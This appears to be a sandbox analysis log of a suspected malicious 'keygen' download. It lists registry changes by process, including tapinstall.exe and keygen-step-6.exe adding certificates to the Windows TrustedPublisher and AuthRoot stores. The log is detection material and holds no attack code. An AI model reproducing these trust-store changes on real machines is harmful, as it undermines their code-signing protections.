\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 Altrove.exe.com Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings Dolore.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000d99b3689396f73b90331ffca723785fb6940a7167dd194ea4e1a813cd24b8de4409325be0229967ad32348ee0ec962fc114965e8e12bbac13e44f18b MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{27908C3C-867A-4894-89B1-583B559850A8}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 26d72549bccbd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = ecbfa06dbccbd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Password_is_5432764372___BitlyWindows10t.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = b166b470bccbd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{M0HPL9J2-E2QA-LOQ0-Y78Y-P7DX5PPOKCIW} svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Explorer.EXE -
Processes:
srlT0HOPwYSugJmNsy5n.exekeygen-step-6.exetapinstall.exevpn.tmpdescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be srlT0HOPwYSugJmNsy5n.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 keygen-step-6.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c00000001000000040000000008000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f435053300706